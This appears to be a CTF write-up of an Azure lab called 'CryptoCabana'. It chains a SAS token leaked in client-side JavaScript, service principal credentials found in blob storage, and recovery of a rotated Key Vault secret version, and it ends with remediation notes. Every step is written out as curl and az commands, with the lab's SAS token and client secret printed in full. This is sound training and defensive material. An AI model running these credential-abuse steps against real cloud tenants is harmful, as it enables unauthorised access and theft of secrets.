Overview
CryptoCabana is a fake crypto-backup service hosted as an Azure Static Website. The attack path chains together four separate misconfigurations:
- A low-privilege Azure user with only
Readeron one resource group - A publicly exposed Storage Account SAS token leaked in client-side JavaScript
- Service Principal credentials sitting unprotected in that same storage account
- A Key Vault secret that was "rotated" but never purged, leaving the old version recoverable
None of these are exotic. Each one is a common real-world Azure mistake, and together they turn a read-only foothold into full compromise of the target's secrets.
Step 1: Confirm the Starting Foothold
The CTF hands you an authenticated low-privilege user. First move on any Azure engagement: figure out exactly what that identity can touch.
az account show
az role assignment list --assignee usr-08044275@thmctf.onmicrosoft.com --all --output table
Principal Role Scope
----------------------------------- ------ -------------------------------------------------------------------------------------
usr-08044275@thmctf.onmicrosoft.com Reader /subscriptions/2492269a-2948-46fd-aae3-68c9b066443a/resourceGroups/rg-cloudshell-only
Reader on a single resource group called rg-cloudshell-only. Nothing interesting lives there - it's a dead end by design. This tells us the real path in isn't through IAM privilege at all; it's through something exposed outside of Azure RBAC entirely, like a public web endpoint.
Step 2: Find the Public Static Website
The resource group name (cryptocabana-rg) and the CTF's crypto-wallet theming point toward a storage account serving a static site. Static websites hosted on Azure Storage are public by default once $web is enabled - no auth required to view them.
curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/
This returns a "CryptoCabana" landing page: a fake seed-phrase backup tool. Classic social-engineering bait for the fictional scenario, but for us it's just an entry point. The page loads app.js, so that's the next thing to pull.
curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
This is the actual vulnerability. A SAS (Shared Access Signature) token is embedded directly in public client-side JavaScript. SAS tokens are bearer credentials - anyone who has the string has the access it grants, no login needed. This one has:
-
ss=b- scoped to Blob service -
srt=sco- applies to service, container, and object level -
sp=rl- read + list permissions -
se=2099-12-31- expires in the year 2099 (i.e., effectively never)
Read + list, account-wide, forever. That's a huge blast radius for a token meant only to let a browser PUT a backup blob.
Step 3: Enumerate the Storage Account with the Leaked SAS
With sp=rl we can list every container, not just backups:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
Three containers come back: $web (the site itself), backups (empty - no one's fallen for the phishing yet), and vault - not referenced anywhere in the site's own code. That's worth listing:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
<Blobs>
<Blob><Name>backup-service-account.json</Name>...</Blob>
<Blob><Name>seed_phrase.txt</Name>...</Blob>
</Blobs>
Both are worth pulling. seed_phrase.txt is in-universe flavor (a decoy "wallet" secret). backup-service-account.json is the real prize:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
"note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}
Full Service Principal credentials, including a pointer straight to a Key Vault. The IT note is almost apologetic about it - "rotate this if it ever leaves the vault" is exactly the mistake that just happened.
Step 4: Authenticate as the Service Principal
az login --service-principal \
--username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
--password 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
--tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
This swaps us from a Reader-only human account to whatever this backup automation identity is actually scoped to - almost certainly broader access to the Key Vault it points at.
Step 5: Hit a Wall on Key Vault RBAC
The obvious next move is grabbing master-key straight away:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key --query value -o tsv
(Forbidden) Caller is not authorized to perform action on resource.
Action: 'Microsoft.KeyVault/vaults/secrets/getSecret/action'
Inner error: { "code": "ForbiddenByRbac" }
The vault uses RBAC authorization mode, not the older vault access-policy model, and this SP has no role assignment on it - az role assignment list --assignee dbcf2923-... comes back empty. So the SP is real, but it isn't blanket-authorized on the vault. The automation account was probably scoped narrowly to specific secrets, not master-key.
Rather than fight the RBAC wall on master-key, try what the SP can read:
az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table
Name Expires
----------- -------------------------
key-shard-1
key-shard-2
key-shard-3
master-key 2020-01-01T00:00:00+00:00
master-key is expired anyway - a dead end even if it were readable. The key-shard-* naming is the real hint: the flag is likely split across three secrets meant to be concatenated.
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv
# [REDACTED - first flag fragment]
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv
# [REDACTED - last flag fragment]
Two of three shards, no RBAC error this time - so the SP does have read access to these specific secrets. key-shard-2 is where it gets interesting:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query value -o tsv
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
Not a shard value at all - a note left by whoever rotated the secret after realizing the SP credentials had leaked. That phrasing ("recoverable if you know where to look") is a direct pointer to secret versioning.
Step 6: Recover the Rotated Secret Version
Key Vault never overwrites a secret in place - every set-secret call creates a new version, and old versions stay readable (as long as they haven't been purged) to anyone with get permission on the secret name. Rotating a secret doesn't erase its history.
az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o json
[
{
"attributes": { "created": "2026-07-28T01:05:05+00:00", ... },
"id": ".../secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"
},
{
"attributes": { "created": "2026-07-28T01:05:07+00:00", ... },
"id": ".../secrets/key-shard-2/c922c422ffb34671a902389c372314f1"
}
]
Two versions, two seconds apart - the original, then the rotation. The current key-shard-2 (the one returned by default when you don't specify a version) is the one holding the note. The older version, 3d6492d2c6f74123bc754a9ded22b2a0, is the pre-rotation value. Fetch a specific version by passing the full versioned resource ID:
az keyvault secret show \
--id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0" \
--query value -o tsv
[REDACTED - middle flag fragment]
Step 7: Assemble the Flag
key-shard-1: THM{n0t_ur
key-shard-2 (old version): [REDACTED]
key-shard-3: ur_c01ns!}
THM{█████████████████████████}
Flag redacted per platform policy - concatenate the three shards above in order to reproduce it yourself.
Root Cause Summary
| Step | Misconfiguration | Impact |
|---|---|---|
SAS in app.js
|
Long-lived, account-wide read+list SAS token hardcoded in public JS |
Anyone visiting the site can enumerate and read every container/blob |
vault container |
Sensitive files stored in a container reachable by an over-scoped SAS | SP credentials exposed to anyone with the SAS |
| Key Vault RBAC | SP granted read on specific secrets but not scoped tightly (or old versions left unpurged) | Rotated secret's pre-leak value still fully recoverable |
master-key expiry |
Secret expired instead of being removed/rotated with purge | Dead end here, but a good reminder that "expired" != "inaccessible" for anyone who did have rights |
Remediation Notes
- Never embed SAS tokens in client-side code. If a SAS-based upload flow is required, generate short-lived, narrowly-scoped tokens server-side per request.
- SAS tokens should carry the minimum permission set and a realistic expiry -
se=2099-12-31defeats the purpose of using a SAS at all. - Treat any credential that touched a public endpoint as compromised. Rotating a Key Vault secret is not enough on its own - purge old versions (
az keyvault secret purge, or enable purge protection with a deliberate versioning policy) if the goal is to actually invalidate the leaked value. - Apply least-privilege RBAC on Key Vault secrets per identity, and periodically audit
az role assignment listfor service principals that have outlived their original purpose.
Top comments (0)